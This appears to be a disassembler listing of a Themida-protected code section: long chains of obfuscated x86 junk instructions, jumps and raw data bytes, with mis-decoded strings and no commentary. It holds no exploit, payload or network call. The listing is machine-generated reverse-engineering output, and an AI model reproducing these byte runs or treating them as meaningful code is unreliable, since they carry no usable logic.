		mov	[esp], eax
		push	52F33A29h
		jmp	loc_56846B
; ---------------------------------------------------------------------------


loc_55DA03:				; CODE XREF: Themida_:00561BE5j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56BFE4
; ---------------------------------------------------------------------------
		dd 885AD588h, 8B59872Ch, 0E568241Ch, 8900007Ch,	58542404h
		dd 0FFFCAFE9h, 0D53B2DFFh, 0C1895E10h, 469F6858h, 315F11EBh
		dd 240C8BCFh, 36D3E955h, 0C3810000h, 13A9405Ah,	0A251E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DA49:				; CODE XREF: Themida_:00564F09j
		add	esp, 4
		add	eax, 0FFFFFFFFh
		jmp	loc_5696D4
; ---------------------------------------------------------------------------


loc_55DA56:				; CODE XREF: Themida_:0056FB3Fj
		mov	eax, edi
		pop	edi
		shl	eax, 7
		sub	eax, 1
		add	eax, 55CB5905h
		add	ecx, eax
		jmp	loc_56CA26
; ---------------------------------------------------------------------------


loc_55DA6B:				; CODE XREF: Themida_:005657E9j
		mov	esi, esp
		push	eax
		mov	eax, 220A5630h
		jmp	loc_55CF7D
; ---------------------------------------------------------------------------


loc_55DA78:				; CODE XREF: Themida_:00560E4Cj
		push	ecx
		mov	ecx, 328408EAh
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_55E9BC
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 90h
		dd 1258FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DA95:				; CODE XREF: Themida_:00569897j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56ACAB
; ---------------------------------------------------------------------------
aAGsr		db '─бGИr(',0
		align 2


loc_55DAAA:				; CODE XREF: Themida_:0056C51Ej
		add	ebx, 4
		jmp	loc_56AFB6
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 2
		dd 56000000h, 42474FFh,	24048F5Eh, 6624248Bh, 9C240409h
		dd 0FFE9FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DAD1:				; CODE XREF: Themida_:00565EADj
		mov	eax, 16874E54h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 54CF1E4Ah
		jmp	loc_55E448
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 2
		dd 87000015h, 87D7F7FAh, 8F281FAh, 8914AE62h, 0B0E95AD1h
		dd 8B000025h, 0C4812404h, 4, 8B240C87h,	0BE562424h, 63955BFEh
		dd 0A880E9h, 0A2EA8100h, 0E97C125Ah, 0C3B0h, 0C1809CB1h
		dd 80E98036h, 0E922C180h, 0CCECh, 5204C483h, 0E2B55BAh
		dd 0B0EA8104h, 8130DE3Ah, 0C62A45CAh, 0FBC2811Ah, 423DA264h
		dd 979FE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DB5A:				; CODE XREF: Themida_:0056FC9Dj
		pop	edx
		mov	ecx, [esp]
		push	eax
		jmp	loc_5633E1
; ---------------------------------------------------------------------------
		dd 4C481h, 0F0280000h, 5A66A904h, 5366D800h, 0F9AFE9h
		dd 24148600h, 1486D2F6h, 0EA805A24h, 5AD02889h,	0C8BB904h
		dd 4C48124h, 80000000h,	0E9509DC3h, 58BFh
; ---------------------------------------------------------------------------


loc_55DB9C:				; CODE XREF: Themida_:00566813j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_563346
; ---------------------------------------------------------------------------
		dd 0D29BE56h, 0D6F77911h, 0B07AF681h, 0DAE9B379h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DBC3:				; CODE XREF: Themida_:0056FE70j
		shl	edi, 1
		shr	edi, 1
		push	edx
		mov	edx, 6B3B5A93h
		add	edx, 873D185h
		jmp	loc_560F5E
; ---------------------------------------------------------------------------
a1Ss		db '1хИХ]',0
		dw 8100h
		dd 5825ACEDh, 0EDC15830h, 27B7E902h, 48F0000h, 7118E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DBF6:				; CODE XREF: Themida_:00569236j
		add	esi, 167D2279h
		sub	esi, 117501Ch
		xor	esi, 5AE9CE52h
		xor	ebp, esi
		pop	esi
		add	ebp, 0FFFFFFFFh
		shr	ebp, 7
		push	esi
		jmp	loc_563AA4
; ---------------------------------------------------------------------------
		db 0F7h
aPsS		db 'яPИ',7,'А',0
		dw 8100h
a5s6		db 'гт\╨5И╢6',0
		align 2


loc_55DC2A:				; CODE XREF: Themida_:00570C1Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	50B7h
		jmp	loc_56C0A1
; ---------------------------------------------------------------------------
		dd 5CB6CD81h, 0CD817E19h, 691A7158h, 8904EC83h,	2CBA2414h
		dd 87054D5Bh, 7DAE9DAh,	0C4800000h, 5CC780A2h, 5066E728h
		dd 0C7805CB4h, 0E9E72833h, 96F9h, 8841EF80h, 679CE9FEh
		dd 0F3810000h, 33D874AAh, 29D3E95Ah, 0E2890000h, 37A0E9h
		dd 68EB8000h, 8B2434FFh, 36E9240Ch
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DCA3:				; CODE XREF: Themida_:0056F720j
		pop	ebx
		sub	al, dh
		pop	edx
		jmp	loc_563EEE
; ---------------------------------------------------------------------------
		dd 4C6815Dh, 87000000h,	815C2434h, 2F6F66EAh, 1EA8176h
		dd 14FE037h, 1C281C2h, 814FE037h, 2F6F66C2h, 0A9BE5676h
		dd 81612263h, 7C1443EAh, 81F2291Dh, 4ECh, 242C8900h, 1443B850h
		dd 3CE91D7Ch, 590000AEh, 34BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DCF9:				; CODE XREF: Themida_:0055E9D8j
		and	ebp, 594E158Ah
		push	3BE8h
		mov	[esp], edi
		mov	edi, 6D41745h
		jmp	loc_570669
; ---------------------------------------------------------------------------


loc_55DD11:				; CODE XREF: Themida_:005680E7j
		mov	edi, 130D6BD3h
		shr	edi, 1
		neg	edi
		not	edi
		sub	edi, 927E3750h
		add	esi, edi
		jmp	loc_5614BD
; ---------------------------------------------------------------------------
		db 51h,	0FFh, 74h
		dd 8F590424h, 685C2404h, 5E79h,	11D68E9h, 3BE5600h, 0E9265E23h
		dd 63F6h
; ---------------------------------------------------------------------------


loc_55DD48:				; CODE XREF: Themida_:0056952Dj
		add	edx, 4
		jmp	loc_55F4E1
; ---------------------------------------------------------------------------


loc_55DD50:				; CODE XREF: Themida_:0055F0D4j
		push	edx
		mov	edx, 10A40A20h
		shl	edx, 4
		push	esi
		push	eax
		push	701A50DDh
		pop	eax
		not	eax
		sub	eax, 1F7B5C4Dh
		jmp	loc_565445
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 815C2434h, 4ECh, 242C8900h, 8CD9E9h, 0EDBA5200h
		dd 0E961AB6Fh, 0F102h, 55E28952h, 0F738AABDh, 0AEF5813Bh
		dd 13BF738h, 0EA835DEAh, 9C60E904h, 0EC810000h,	4, 0BE243489h
		dd 78841B18h, 8103E6C1h, 4B6A6DEEh, 506705C3h, 0F02920DCh
		dd 1B62E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DDCD:				; CODE XREF: Themida_:0056FA07j
		add	esp, 4
		jmp	loc_567FEA
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 68h
		dd 68FBh, 0B8240489h, 4, 8E40E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DDE9:				; CODE XREF: Themida_:0056DBB3j
		push	ebp
		dec	dword ptr [esp]
		jmp	loc_55CEA2
; ---------------------------------------------------------------------------


loc_55DDF2:				; CODE XREF: Themida_:0056CAF2j
		pop	edx
		jmp	loc_56D012
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4BD55h, 0EB010000h, 1FE5E95Dh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55DE0E:				; CODE XREF: Themida_:005667BBj
		sub	esp, 4
		jmp	loc_55F00A
; ---------------------------------------------------------------------------


loc_55DE16:				; CODE XREF: Themida_:00569394j
		add	esi, edx
		pop	edx
		push	ecx
		jmp	loc_55FDA2
; ---------------------------------------------------------------------------


loc_55DE1F:				; CODE XREF: Themida_:005624D0j
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		pop	eax
		push	612Bh
		mov	[esp], edi
		xor	[esp], edi
		jmp	loc_56D752
; ---------------------------------------------------------------------------
		dw 874Bh
		dd 51ED81DDh, 89BEEAADh, 0E9815DE9h, 7F7D69B5h,	2956F181h
		dd 0BF577CCBh, 0C325C1E7h, 815FF931h, 327235EEh, 0E9CE0108h
		dd 0E2Ch
; ---------------------------------------------------------------------------


loc_55DE64:				; CODE XREF: Themida_:0055FA46j
		pop	ecx
		jmp	loc_56CF16
; ---------------------------------------------------------------------------


loc_55DE6A:				; CODE XREF: Themida_:00565F37j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5666E8
; ---------------------------------------------------------------------------
		dd 0EFE9D701h, 5B00006Fh, 48BE288h, 0CA0DE924h,	0CB010000h
		dd 0F83EE959h, 68500000h, 5D40EAh, 4CB7E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE9E:				; CODE XREF: Themida_:00563341j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		or	esi, 597456Eh
		inc	esi
		jmp	loc_568297
; ---------------------------------------------------------------------------


loc_55DEB1:				; CODE XREF: Themida_:00566111j
		push	ebx
		push	edi
		push	769F4083h
		pop	edi
		not	edi
		not	edi
		jmp	loc_55CCF2
; ---------------------------------------------------------------------------


loc_55DEC2:				; CODE XREF: Themida_:0056D80Bj
		add	edx, ecx
		jmp	loc_56B9B3
; ---------------------------------------------------------------------------


loc_55DEC9:				; CODE XREF: Themida_:0056D7C4j
		add	eax, esi
		jmp	loc_564F01
; ---------------------------------------------------------------------------
aWsbz		db 'WИ│┤',0
		align 2


loc_55DED6:				; CODE XREF: Themida_:00565376j
		mov	edi, [esp]
		add	esp, 4
		inc	edi
		dec	edi
		jmp	loc_563800
; ---------------------------------------------------------------------------


loc_55DEE3:				; CODE XREF: Themida_:0056C5AAj
		pop	edx
		jmp	loc_55F9EE
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 50000000h, 0FFF254E9h, 4C481FFh, 52000000h, 0FF7FFB68h
		dd 2434FF7Fh, 0C2B7E9h,	42BB5300h, 8111A946h, 0E408A4EBh
		dd 1F9DE90Dh, 4BD0000h,	1000000h, 4875DE8h, 0CA685C24h
		dd 0E9000027h, 1128Eh, 5B66F681h, 0F78950D8h, 0E931E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DF3D:				; CODE XREF: Themida_:00564295j
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56610B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C28106EAh, 0FD599AACh, 3669C781h, 0D70134F0h, 3669EF81h
		dd 0F9E934F0h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF63:				; CODE XREF: Themida_:00564F9Dj
		pop	esp
		add	eax, 180A4CBFh
		add	eax, 1D98760Ch
		add	eax, edi
		sub	eax, 1D98760Ch
		sub	eax, 180A4CBFh
		jmp	loc_55C9AC
; ---------------------------------------------------------------------------
		db 81h
		dd 1E9h, 19BB5300h, 210D5912h, 3A7DE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DF92:				; CODE XREF: Themida_:005609C0j
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_5709F6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 58B4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DFBA:				; CODE XREF: Themida_:00565163j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 58B5764Ch
		shr	eax, 1
		xor	eax, 0F8D5A1Ah
		or	eax, 2A3D6301h
		not	eax
		inc	eax
		xor	eax, 0D9733C80h
		and	edi, eax
		pop	eax
		jmp	loc_55D31B
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 8
		dd 0E7C1DFF7h, 3AEF8108h, 0F711FA69h, 0D7BB53D7h, 817F0174h
		dd 9B4288EBh, 84EB816Bh, 16B62DEh, 0E9815BDFh, 6A27367Ch
		dd 10B15E9h, 4C68300h, 31243433h, 34332434h, 24248B24h
		dd 1A37E9h, 0E9F76600h,	582D6866h, 24148966h, 0E99C5066h
		dd 0FFFFE490h
; ---------------------------------------------------------------------------


loc_55E03C:				; CODE XREF: Themida_:0056D1E4j
		mov	edi, 50EA6947h
		and	ebp, edi
		pop	edi
		add	ebp, 5CEA14DCh
		jmp	loc_55E781
; ---------------------------------------------------------------------------


loc_55E04F:				; CODE XREF: Themida_:0056F592j
		xchg	ebx, [esp]
		jmp	loc_55E1EE
; ---------------------------------------------------------------------------
		dd offset dword_457444+2D524h
		align 4
		dd 0BE243489h, 668527C3h, 36BA5251h, 0E910A553h, 8459h
; ---------------------------------------------------------------------------


loc_55E070:				; CODE XREF: Themida_:0055D0CAj
		xor	eax, 0C999C446h
		jmp	loc_56333F
; ---------------------------------------------------------------------------


loc_55E07A:				; CODE XREF: Themida_:0056B66Aj
		pop	ebx
		push	eax
		push	esp
		jmp	loc_56AB86
; ---------------------------------------------------------------------------


loc_55E082:				; CODE XREF: Themida_:0056026Dj
		mov	eax, 49FB68CAh
		mov	esi, eax
		pop	eax
		add	esi, 1
		or	esi, 56F436CEh
		neg	esi
		sub	esi, 303B160Bh
		add	edi, esi
		pop	esi
		sub	edi, ecx
		sub	edi, 6FC56B26h
		mov	ecx, [esp]
		jmp	loc_564E35
; ---------------------------------------------------------------------------
		dw 0C7FEh
		dd 13004E9h, 48B6600h, 0E0895024h, 405h, 42D00h, 0EEE90000h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E0CB:				; CODE XREF: Themida_:0056D623j
		mov	[esp], edx
		push	eax
		push	esp
		jmp	loc_56936C
; ---------------------------------------------------------------------------
aIYesRfysf	db '┴мYES╩пrДYИf:',0
		align 4
		dd 52666BB5h, 1121CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E0ED:				; CODE XREF: Themida_:00561D4Dj
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 629B57C9h
		jmp	loc_563BFF
; ---------------------------------------------------------------------------
		db 55h
		dd 8E3AB4BDh, 81D5F74Ch, 8C6BC6C5h, 2FE58178h, 816A8854h
		dd 81755AE5h, 0B3ED8113h, 8126E376h, 6348B6F5h,	8AC68169h
		dd 29439875h, 8AEE81EEh, 0E9439875h, 0E31Eh, 0EA005A66h
		dd 81240C8Bh, 4C4h, 7FCA8000h, 0E990B151h, 5227h, 240C8B66h
		dd 4EB8E9h, 89575A00h, 4C781E7h, 83000000h, 3C3304C7h
		dd 243C3124h, 8B243C33h, 17682424h, 0E9000042h,	0C479h
		dd 6824048Fh, 6E1Ah, 0BB241C89h, 4, 4244481h, 2F27552Bh
		dd 4A65E9h, 24248B00h, 9C2404FEh, 0FFE32BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E1A1:				; CODE XREF: Themida_:0056A4B6j
		mov	[esp], edx
		push	16AB432Fh
		pop	edx
		shl	edx, 3
		dec	edx
		jmp	loc_563E9D
; ---------------------------------------------------------------------------
		db 0ADh
		dd 1F2D68h, 2C92E900h, 0FD010001h, 4ED815Fh, 87000000h
		dd 895C242Ch, 0B8502424h, 4, 4244401h, 0F360E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E1DE:				; CODE XREF: Themida_:00563FB4j
		mov	ebp, 1BDF691Ch
		push	ecx
		mov	ecx, 1
		jmp	loc_5648CD
; ---------------------------------------------------------------------------


loc_55E1EE:				; CODE XREF: Themida_:0055E052j
		pop	esp


loc_55E1EF:				; CODE XREF: Themida_:0055F877j
		push	6C96h
		mov	[esp], ebx
		add	dword ptr [esp], 52DF0951h
		mov	eax, [esp]
		add	esp, 4
		push	76ECh
		mov	[esp], ebx
		push	ebp
		push	edi
		mov	edi, 5F8E752Ah
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		inc	ebp
		shr	ebp, 7
		sub	ebp, 0ADE01399h
		push	ebp
		jmp	loc_56352B
; ---------------------------------------------------------------------------
		dw 0C15Dh
		dd 0C68103E6h, 673AB70Ah, 24048156h, 57AC19B5h,	0B5ED815Dh
		dd 5E57AC19h, 2B96CD81h, 0E94D2EA8h, 9DA7h, 48F545Ch, 509E924h
		dd 0CB880001h, 6CE95359h
		db 18h,	1, 0
; ---------------------------------------------------------------------------


loc_55E267:				; CODE XREF: Themida_:0056D444j
		mov	ebx, 0D8C4CE70h
		add	ebx, edi
		jmp	loc_5667D6
; ---------------------------------------------------------------------------


loc_55E273:				; CODE XREF: Themida_:0056587Dj
		pop	edi
		add	esp, 4
		jmp	loc_55F7BA
; ---------------------------------------------------------------------------
		db 8Fh
		dd 45E94047h, 83FFFFE2h, 3AE904C4h, 89FFFFE6h, 0E9522404h
		dd 6AFAh, 0B1D975B9h, 0B782E9AAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E2A2:				; CODE XREF: Themida_:00566402j
		pop	edi
		dec	eax
		xor	eax, 72F416A2h
		jmp	loc_56B093
; ---------------------------------------------------------------------------


loc_55E2AE:				; CODE XREF: Themida_:0056F7EEj
		xor	dh, 91h
		add	ch, 16h
		jmp	loc_55CCA4
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 8A2AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E2C1:				; CODE XREF: Themida_:00562652j
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		xor	dword ptr [esp], 5DAF4C6Fh
		mov	edi, [esp]
		jmp	loc_563DA0
; ---------------------------------------------------------------------------
		db 89h
		dd 2434FFD9h, 5B2434FFh, 4C481h, 0E9530000h, 2DABh, 3CF6815Eh
		dd 0E935A75Ah, 6024h, 0FF240C89h, 8B042474h, 0C483240Ch
		dd 24048F04h, 0E924248Bh, 53ADh
; ---------------------------------------------------------------------------


loc_55E314:				; CODE XREF: Themida_:00569C05j
		xor	esi, edi
		sub	esp, 4
		mov	[esp], eax
		push	esi
		jmp	loc_56CC3A
; ---------------------------------------------------------------------------


loc_55E325:				; CODE XREF: Themida_:005614ABj
		pop	ebp
		sub	[esp+8], edx
		pop	edx
		mov	ecx, [esp]
		push	2954h
		mov	[esp], ebp
		jmp	loc_56FE75
; ---------------------------------------------------------------------------


loc_55E33B:				; CODE XREF: Themida_:0056145Aj
		not	dh
		push	cx
		push	edx
		mov	dl, 69h
		mov	cl, 55h
		sub	cl, dl
		jmp	loc_55CD01
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EB8103E3h, 46FE531Ah, 2DD9B951h, 56496E6Bh,	3C1BBFBEh
		dd 96E6817Dh, 0E956AF65h, 0B77Fh, 24048B66h, 5E08950h
		dd 4, 8704E883h, 895C2404h, 5D54242Ch, 8904EC83h, 4B9240Ch
		dd 0E9000000h, 11A90h
; ---------------------------------------------------------------------------


loc_55E394:				; CODE XREF: Themida_:00563A71j
		pop	edi
		and	ebp, 24BF3785h
		jmp	loc_5700F4
; ---------------------------------------------------------------------------
aFSh		db 'f[ИHо',0
		dw 6600h
		dd 660C3768h, 8F1EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E3B2:				; CODE XREF: Themida_:0056F18Dj
		mov	ebx, esi
		push	dword ptr [esp]
		jmp	loc_569C45
; ---------------------------------------------------------------------------
aIS_0		db '┴$$Икж',0
		align 4
		dd 6866D5F6h, 8966241Ch, 0E9502414h, 53AEh
; ---------------------------------------------------------------------------


loc_55E3D4:				; CODE XREF: Themida_:0056C4CCj
		mov	[esp], ebx
		push	eax
		push	ebx
		mov	bl, dl
		mov	ah, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	bl, ah
		push	edx
		push	eax
		mov	ah, bl
		mov	dl, ah
		pop	eax
		jmp	loc_560123
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 2E743B3Ch, 1988EF81h, 0EF815733h, 25360DF8h,	8104EFC1h
		dd 0FFFFFFC7h, 47F781FFh, 815F8A54h, 0AAE57BEFh, 11C68154h
		dd 8149DB4Fh, 1243AEEh,	81FE0120h, 1243AC6h, 11EE8120h
		dd 0E949DB4Fh, 0F30Eh, 31DA314Bh, 0E9DA31D3h, 87CBh
; ---------------------------------------------------------------------------


loc_55E448:				; CODE XREF: Themida_:0055DAE4j
		shl	edx, 1
		not	edx
		inc	edx
		sub	esp, 4
		jmp	loc_565479
; ---------------------------------------------------------------------------


loc_55E455:				; CODE XREF: Themida_:005695C3j
		shl	ecx, 1
		xor	ecx, 0CE17B31h
		xor	edi, ecx
		jmp	loc_569B67
; ---------------------------------------------------------------------------
		dd 32B9515Dh, 2129232Dh, 2434FFCDh, 2859E9h, 6FC28100h
		dd 29253347h, 6FEA81F2h, 0E9253347h, 5D0h, 1BF5752h, 0E9000000h
		dd 870Eh
; ---------------------------------------------------------------------------


loc_55E494:				; CODE XREF: Themida_:00564D6Aj
		push	ebx
		push	esp
		jmp	loc_56E385
; ---------------------------------------------------------------------------


loc_55E49B:				; CODE XREF: Themida_:0056D9B0j
		add	ecx, 0E8A8D518h
		jmp	loc_568007
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 9FBEBE56h, 0F33179ABh, 0E9D9895Eh, 0C16Dh
; ---------------------------------------------------------------------------


loc_55E4B8:				; CODE XREF: Themida_:005688B5j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_562B6E
; ---------------------------------------------------------------------------


loc_55E4C0:				; CODE XREF: Themida_:005684FCj
		mov	edi, 4A590229h
		sub	edi, 42AFF1EDh
		add	edx, edi
		pop	edi
		push	dword ptr [edx]
		xor	dword ptr [esp], 0BA74827h
		pop	ecx
		jmp	loc_5704A0
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 686866CCh, 0C896643h, 0B60F6624h, 9C5166C8h,	0FFE4F7E9h
		dd 4C483FFh, 0FFE7E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E4FD:				; CODE XREF: Themida_:0055CA47j
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		db 58h
		dd 8904EC83h, 5D54242Ch, 4C581h, 0C5810000h, 4,	2CD4E9h
		dd 241C8700h, 2869E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E539:				; CODE XREF: Themida_:00567054j
		push	edi
		mov	edi, 10E66FB5h
		dec	edi
		jmp	loc_5709C3
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FF24248Bh, 5BE92434h, 8000005Bh, 0C48099F4h, 0E5A8E9CCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E55E:				; CODE XREF: Themida_:0056572Cj
		sub	edi, 67FF3B86h
		add	edi, ebx
		add	edi, 67FF3B86h
		sub	edi, 62C752FAh
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_567458
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 81590000h, 4ECh, 24048900h, 4B8h
		dd 0B4C9E900h, 0CF290000h, 81DF0159h, 4B0907C7h, 0E9515B3Ch
		dd 4D1Eh, 60D268h, 240C8900h, 4F0D68h, 241C8900h, 5900E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E5D1:				; CODE XREF: Themida_:005688F1j
		xor	eax, [esp]
		pop	esp
		pop	ebp
		push	ebx
		jmp	loc_56CDC9
; ---------------------------------------------------------------------------
a3414S		db '34$14$И\',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E5E7:				; CODE XREF: Themida_:0056A598j
		pop	ecx
		sub	edi, 43F1699Dh
		add	edi, 2B7D0DE3h
		sub	edi, ebp
		sub	edi, 2B7D0DE3h
		push	ebx
		mov	ebx, 35AE4ED0h
		neg	ebx
		jmp	loc_56D381
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 722BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E611:				; CODE XREF: Themida_:0057053Bj
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		jmp	loc_57071C
; ---------------------------------------------------------------------------


loc_55E628:				; CODE XREF: Themida_:0056AAE9j
		neg	ebx
		push	esi
		mov	esi, 6E033D32h
		or	ebx, esi
		jmp	loc_56211C
; ---------------------------------------------------------------------------
		db 66h
		dd 50240C8Bh, 6AE95854h, 33000018h, 248B2434h, 0F5C4E924h
		dd 0EBC10000h, 95C38106h, 1FFFF9Bh, 241C8BD9h, 5104C483h
		dd 42474FFh, 24048F59h,	0F2D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E66D:				; CODE XREF: Themida_:0055ED29j
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_55E67E:				; CODE XREF: Themida_:0055CC2Fj
		mov	eax, 55B63CE6h
		jmp	loc_560962
; ---------------------------------------------------------------------------
		dd 838734FFh, 148904ECh, 1260BA24h, 54015C70h, 29E90424h
		dd 8000009Eh, 3E9FFE9h,	2D0000F8h, 0E5E4188h, 0D1E9D0F7h
		dd 500000E2h, 4B8h, 58C28900h, 6D9AEB81h, 0EB814A9Ah, 0DBE2423h
		dd 106B9E9h, 525B6600h,	0CAFE67B2h, 0F603E2C0h,	0E9CAFED2h
		dd 344Dh, 4DC5814Dh, 81071F68h,	0E50F2AF5h, 0A6E58130h
		dd 81587B0Bh, 0C7EEF2F5h, 5DEE29B3h, 555EF229h,	0C85FBE68h
		dd 5F17E92Eh, 0FA680000h, 0E9000002h, 3822h, 0FF2434FFh
		dd 48B2434h, 4C48124h, 83000000h, 0EC8304C4h, 24348904h
		dd 4EC81h, 24890000h, 24048124h, 4, 5E2434FFh, 4C481h
		dd 0EC830000h, 240C8904h, 0BB53E189h, 6D155494h, 8FCBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E759:				; CODE XREF: Themida_:00560E74j
		mov	ebx, 7BBD0CD6h
		jmp	loc_562CD4
; ---------------------------------------------------------------------------
		db 68h
		dd 7A00h, 0B9240C89h, 0
		dd 2AF6C181h, 0C1815E09h, 73DA14A5h, 0E817E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E781:				; CODE XREF: Themida_:0055E04Aj
		not	ebp
		xor	ebp, 0D7568510h
		sub	eax, ebp
		pop	ebp
		jmp	loc_56BBE0
; ---------------------------------------------------------------------------


loc_55E791:				; CODE XREF: Themida_:0055D579j
		sub	[esp], ecx
		pop	ecx
		add	ecx, 0D21B6F22h
		or	ebx, ecx
		jmp	loc_56BDAA
; ---------------------------------------------------------------------------


loc_55E7A2:				; CODE XREF: Themida_:0055D714j
		mov	[esp], ecx
		mov	ecx, 661FC3FDh
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55FF85
; ---------------------------------------------------------------------------
		db 68h,	26h, 0Eh
		dd 2BE90000h, 8100009Bh, 4C1h, 4C18300h, 8B240C87h, 68552424h
		dd 2, 0CEE815Dh, 130D65Eh, 0B49E9EEh, 0F1810001h, 1899325Ah
		dd 84C6E9h, 4C48300h, 0E92434FFh, 0F06Dh, 7267F281h, 0C6815816h
		dd 27BF2576h, 42E9D629h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E80B:				; CODE XREF: Themida_:0056A71Dj
		mov	bh, 0C1h
		shl	bh, 2
		inc	bh
		xor	bh, 76h
		sub	dh, bh
		jmp	loc_56AAEE
; ---------------------------------------------------------------------------
		dd 592434FFh, 4C481h, 0EC830000h, 24148904h, 5A3168h, 24248900h
		dd 4BA52h, 54010000h, 73E90424h, 810000C4h, 273D34F6h
		dd 0EB815F3Bh, 12D43113h, 0EC81F329h, 4, 0E9241489h, 2112h
; ---------------------------------------------------------------------------


loc_55E860:				; CODE XREF: Themida_:005701BBj
		mov	ebx, 680B116Ch
		inc	ebx
		neg	ebx
		jmp	loc_5652DC
; ---------------------------------------------------------------------------


loc_55E86D:				; CODE XREF: Themida_:00563755j
		push	esi
		mov	esi, 4
		add	ecx, 0CF42F2Eh
		add	ecx, esi
		push	esi
		mov	esi, 0CF42F2Eh
		sub	ecx, 295D78ABh
		sub	ecx, esi
		add	ecx, 295D78ABh
		pop	esi
		pop	esi
		jmp	loc_569775
; ---------------------------------------------------------------------------
		dw 515Fh
		dd 0F37D49B9h, 0DBE98172h, 81767778h, 94734F1h,	0D6F18131h
		dd 554E1127h, 0D406E4BDh, 0ED814558h, 25173908h, 61C9E9h
		dd 2434FF00h, 944EE95Bh, 48B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edi, 4
		jmp	loc_5674F5
; ---------------------------------------------------------------------------
		dd offset dword_457444+30924h
		align 2
		dw 2489h
		dd 5617E924h, 0CA860000h, 0CA30D1F6h, 0CA30D130h, 0E688D486h
		dd 0F187E958h, 487FFFFh, 0D3665C24h, 0E99C2424h, 0FFFFDBB8h
		dd 88241C89h, 0DE8852C3h, 0E95AF188h, 67B6h, 34FFF229h
